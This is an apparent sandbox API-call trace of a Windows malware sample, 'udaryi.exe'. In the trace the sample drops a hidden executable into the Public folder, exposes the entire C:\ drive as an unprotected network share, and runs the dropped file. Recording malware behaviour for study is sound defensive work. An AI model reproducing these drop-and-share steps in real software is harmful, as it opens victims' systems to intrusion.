	[0049.181] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x46) returned 0x1b7080
	[0049.181] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b7158 | out: hHeap=0x1a0000) returned 1
	[0049.182] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x800) returned 0x1b89f8
	[0049.183] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0049.183] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x2b2101) returned 0x0
	[0049.184] GetStartupInfoW (in: lpStartupInfo=0x40fea0 | out: lpStartupInfo=0x40fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0049.184] SetLastError (dwErrCode=0x0) 
	[0049.184] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\" "
	[0049.184] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\" ", pNumArgs=0x40fe64 | out: pNumArgs=0x40fe64) returned 0x1b7518*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe"
	[0049.185] GetLastError () returned 0x0
	[0049.185] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40f9b6, nSize=0x3e7 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\udaryi.exe")) returned 0x30
	[0049.185] LocalFree (hMem=0x1b7518) returned 0x0
	[0049.185] GetVersionExW (in: lpVersionInformation=0x40ecd8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x40ecd8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0049.185] GetWindowsDirectoryW (in: lpBuffer=0x40f1e4, uSize=0x3e8 | out: lpBuffer="C:\\Windows") returned 0xa
	[0049.185] GetTickCount () returned 0x115787b
	[0049.185] GetLastError () returned 0x0
	[0049.185] SetLastError (dwErrCode=0x0) 
	[0049.185] GetLastError () returned 0x0
	[0049.186] SetLastError (dwErrCode=0x0) 
	[0049.186] GetLastError () returned 0x0
	[0049.186] SetLastError (dwErrCode=0x0) 
	[0049.186] GetLastError () returned 0x0
	[0049.186] SetLastError (dwErrCode=0x0) 
	[0049.186] GetLastError () returned 0x0
	[0049.186] SetLastError (dwErrCode=0x0) 
	[0049.186] GetLastError () returned 0x0
	[0049.186] SetLastError (dwErrCode=0x0) 
	[0049.186] GetLastError () returned 0x0
	[0049.187] SetLastError (dwErrCode=0x0) 
	[0049.187] GetLastError () returned 0x0
	[0049.187] SetLastError (dwErrCode=0x0) 
	[0049.187] GetLastError () returned 0x0
	[0049.187] SetLastError (dwErrCode=0x0) 
	[0049.187] GetLastError () returned 0x0
	[0049.187] SetLastError (dwErrCode=0x0) 
	[0049.187] GetLastError () returned 0x0
	[0049.187] SetLastError (dwErrCode=0x0) 
	[0049.188] GetLastError () returned 0x0
	[0049.188] SetLastError (dwErrCode=0x0) 
	[0049.188] GetLastError () returned 0x0
	[0049.188] SetLastError (dwErrCode=0x0) 
	[0049.188] GetLastError () returned 0x0
	[0049.188] SetLastError (dwErrCode=0x0) 
	[0049.188] GetLastError () returned 0x0
	[0049.188] SetLastError (dwErrCode=0x0) 
	[0049.188] GetLastError () returned 0x0
	[0049.188] SetLastError (dwErrCode=0x0) 
	[0049.189] GetLastError () returned 0x0
	[0049.189] SetLastError (dwErrCode=0x0) 
	[0049.189] GetLastError () returned 0x0
	[0049.189] SetLastError (dwErrCode=0x0) 
	[0049.189] GetLastError () returned 0x0
	[0049.189] SetLastError (dwErrCode=0x0) 
	[0049.189] GetLastError () returned 0x0
	[0049.189] SetLastError (dwErrCode=0x0) 
	[0049.190] GetLastError () returned 0x0
	[0049.190] SetLastError (dwErrCode=0x0) 
	[0049.190] GetLastError () returned 0x0
	[0049.190] SetLastError (dwErrCode=0x0) 
	[0049.190] GetLastError () returned 0x0
	[0049.190] SetLastError (dwErrCode=0x0) 
	[0049.190] GetLastError () returned 0x0
	[0049.190] SetLastError (dwErrCode=0x0) 
	[0049.190] GetLastError () returned 0x0
	[0049.191] SetLastError (dwErrCode=0x0) 
	[0049.191] GetLastError () returned 0x0
	[0049.191] SetLastError (dwErrCode=0x0) 
	[0049.191] GetLastError () returned 0x0
	[0049.191] SetLastError (dwErrCode=0x0) 
	[0049.191] GetLastError () returned 0x0
	[0049.191] SetLastError (dwErrCode=0x0) 
	[0049.191] GetLastError () returned 0x0
	[0049.191] SetLastError (dwErrCode=0x0) 
	[0049.191] GetLastError () returned 0x0
	[0049.192] SetLastError (dwErrCode=0x0) 
	[0049.192] GetLastError () returned 0x0
	[0049.192] SetLastError (dwErrCode=0x0) 
	[0049.192] GetLastError () returned 0x0
	[0049.192] SetLastError (dwErrCode=0x0) 
	[0049.192] GetLastError () returned 0x0
	[0049.192] SetLastError (dwErrCode=0x0) 
	[0049.192] GetLastError () returned 0x0
	[0049.193] SetLastError (dwErrCode=0x0) 
	[0049.193] GetLastError () returned 0x0
	[0049.193] SetLastError (dwErrCode=0x0) 
	[0049.193] GetLastError () returned 0x0
	[0049.193] SetLastError (dwErrCode=0x0) 
	[0049.193] GetLastError () returned 0x0
	[0049.193] SetLastError (dwErrCode=0x0) 
	[0049.193] GetLastError () returned 0x0
	[0049.193] SetLastError (dwErrCode=0x0) 
	[0049.194] GetLastError () returned 0x0
	[0049.194] SetLastError (dwErrCode=0x0) 
	[0049.194] GetLastError () returned 0x0
	[0049.194] SetLastError (dwErrCode=0x0) 
	[0049.194] GetLastError () returned 0x0
	[0049.194] SetLastError (dwErrCode=0x0) 
	[0049.194] GetLastError () returned 0x0
	[0049.195] SetLastError (dwErrCode=0x0) 
	[0049.195] CreateFileW (lpFileName="C:\\users\\Public\\uZkoH.exe" (normalized: "c:\\users\\public\\uzkoh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x88
	[0049.284] Sleep (dwMilliseconds=0xdac) 
	[0052.812] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000
	[0052.813] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e
	[0052.813] GetCurrentProcess () returned 0xffffffff
	[0052.813] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x40ede0 | out: Wow64Process=0x40ede0) returned 1
	[0052.814] FreeLibrary (hLibModule=0x76e10000) returned 1
	[0052.814] WriteFile (in: hFile=0x88, lpBuffer=0x2c2778*, nNumberOfBytesToWrite=0x21200, lpNumberOfBytesWritten=0x40fe48, lpOverlapped=0x0 | out: lpBuffer=0x2c2778*, lpNumberOfBytesWritten=0x40fe48*=0x21200, lpOverlapped=0x0) returned 1
	[0052.830] CloseHandle (hObject=0x88) returned 1
	[0052.840] GetTickCount () returned 0x11586bd
	[0052.840] GetLastError () returned 0x0
	[0052.841] SetLastError (dwErrCode=0x0) 
	[0052.841] GetLogicalDrives () returned 0x4
	[0052.841] GetLastError () returned 0x0
	[0052.841] SetLastError (dwErrCode=0x0) 
	[0052.841] GetLastError () returned 0x0
	[0052.841] SetLastError (dwErrCode=0x0) 
	[0052.841] GetLastError () returned 0x0
	[0052.842] SetLastError (dwErrCode=0x0) 
	[0052.842] GetLastError () returned 0x0
	[0052.842] SetLastError (dwErrCode=0x0) 
	[0052.842] GetLastError () returned 0x0
	[0052.842] SetLastError (dwErrCode=0x0) 
	[0052.842] GetLastError () returned 0x0
	[0052.842] SetLastError (dwErrCode=0x0) 
	[0052.842] GetLastError () returned 0x0
	[0052.842] SetLastError (dwErrCode=0x0) 
	[0052.842] GetLastError () returned 0x0
	[0052.843] SetLastError (dwErrCode=0x0) 
	[0052.843] GetLastError () returned 0x0
	[0052.843] SetLastError (dwErrCode=0x0) 
	[0052.843] GetLastError () returned 0x0
	[0052.843] SetLastError (dwErrCode=0x0) 
	[0052.843] GetLastError () returned 0x0
	[0052.843] SetLastError (dwErrCode=0x0) 
	[0052.843] GetLastError () returned 0x0
	[0052.843] SetLastError (dwErrCode=0x0) 
	[0052.843] GetLastError () returned 0x0
	[0052.844] SetLastError (dwErrCode=0x0) 
	[0052.844] GetLastError () returned 0x0
	[0052.844] SetLastError (dwErrCode=0x0) 
	[0052.844] NetShareAdd (in: servername=0x0, level=0x2, buf=0x40eda0*(shi2_netname="pdkrwjhkvubhf", shi2_type=0x0, shi2_remark=0x0, shi2_permissions=0x7f, shi2_max_uses=0xffffffff, shi2_current_uses=0x0, shi2_path="C:\\", shi2_passwd=0x0), parm_err=0x0 | out: buf=0x40eda0*(shi2_netname="pdkrwjhkvubhf", shi2_type=0x0, shi2_remark=0x0, shi2_permissions=0x7f, shi2_max_uses=0xffffffff, shi2_current_uses=0x0, shi2_path="C:\\", shi2_passwd=0x0), parm_err=0x0) returned 0x0
	[0053.456] Sleep (dwMilliseconds=0x9c4) 
	[0055.969] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\users\\Public\\uZkoH.exe", lpParameters="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\"", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0066.022] GetModuleHandleW (lpModuleName=0x0) returned 0x2b0000
	[0066.022] GetModuleHandleW (lpModuleName=0x0) returned 0x2b0000
	[0066.023] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b4da0 | out: hHeap=0x1a0000) returned 1
	[0066.024] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b89f8 | out: hHeap=0x1a0000) returned 1
	[0066.024] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.024] GetLastError () returned 0x57
	[0066.024] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0066.030] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.030] GetLastError () returned 0x57
	[0066.031] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x0) returned 0x0
	[0066.097] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x40fe80 | out: phModule=0x40fe80) returned 0
	[0066.097] ExitProcess (uExitCode=0x0) 
	[0066.101] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1b4ec0 | out: hHeap=0x1a0000) returned 1

Thread:
	id = 2
	os_tid = 0x314


Thread:
	id = 3
	os_tid = 0x864


Thread:
	id = 4
	os_tid = 0x884


Thread:
	id = 6
	os_tid = 0x8b4


Process:
	id = "2"
	image_name = "uzkoh.exe"
	filename = "c:\\users\\public\\uzkoh.exe"
	page_root = "0x3ba53000"
	os_pid = "0x894"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad0"
	cmd_line = "\"C:\\users\\Public\\uZkoH.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 5
	os_tid = 0x8a4

	[0065.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fd78 | out: lpSystemTimeAsFileTime=0x24fd78*(dwLowDateTime=0x15a13d40, dwHighDateTime=0x1d5cdef)) 
	[0065.870] GetCurrentThreadId () returned 0x8a4
	[0065.870] GetCurrentProcessId () returned 0x894
	[0065.870] QueryPerformanceCounter (in: lpPerformanceCount=0x24fd80 | out: lpPerformanceCount=0x24fd80*=20763382697) returned 1
	[0066.075] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.075] GetLastError () returned 0x57
	[0066.076] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7800000
	[0066.131] GetProcAddress (hModule=0x7fef7800000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0066.132] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.132] GetLastError () returned 0x57
	[0066.132] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0066.135] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.135] GetLastError () returned 0x57
	[0066.135] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0066.135] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0066.135] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0066.136] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.136] GetLastError () returned 0x57
	[0066.136] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7800000
	[0066.136] GetProcAddress (hModule=0x7fef7800000, lpProcName="InitializeCriticalSectionEx") returned 0x0
	[0066.137] GetProcessHeap () returned 0x380000
	[0066.137] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.137] GetLastError () returned 0x57
	[0066.137] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0066.139] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.139] GetLastError () returned 0x57
	[0066.139] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000
	[0066.140] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190
	[0066.140] GetLastError () returned 0x57
	[0066.140] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520
	[0066.140] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x3c8) returned 0x397930
	[0066.140] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90
	[0066.140] SetLastError (dwErrCode=0x57) 
	[0066.141] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1000) returned 0x397d00
	[0066.145] GetStartupInfoW (in: lpStartupInfo=0x24fc50 | out: lpStartupInfo=0x24fc50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\users\\Public\\uZkoH.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) 
	[0066.145] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0066.145] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0066.145] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0066.146] GetCommandLineA () returned="\"C:\\users\\Public\\uZkoH.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\""
	[0066.146] GetCommandLineW () returned="\"C:\\users\\Public\\uZkoH.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\udaryi.exe\""
	[0066.146] GetLastError () returned 0x57
	[0066.146] SetLastError (dwErrCode=0x57) 
	[0066.146] GetLastError () returned 0x57
	[0066.146] SetLastError (dwErrCode=0x57) 
	[0066.147] GetACP () returned 0x4e4
	[0066.147] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x0, Size=0x228) returned 0x397590
	[0066.147] IsValidCodePage (CodePage=0x4e4) returned 1
	[0066.147] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x24fc20 | out: lpCPInfo=0x24fc20) returned 1
	[0066.147] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x24f4c0 | out: lpCPInfo=0x24f4c0) returned 1
	[0066.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f4e0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0066.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f4e0, cbMultiByte=256, lpWideCharStr=0x24f210, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ8") returned 256
	[0066.147] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ8", cchSrc=256, lpCharType=0x24f7e0 | out: lpCharType=0x24f7e0) returned 1
	[0066.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f4e0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0066.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f4e0, cbMultiByte=256, lpWideCharStr=0x24f1b0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0066.147] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0066.147] GetLastError () returned 0x57
	[0066.148] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0066.149] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710
	[0066.149] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0066.150] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x24efa0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256
	[0066.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x24f5e0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256
	[0066.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f4e0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0066.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x24f4e0, cbMultiByte=256, lpWideCharStr=0x24f1b0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0066.150] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
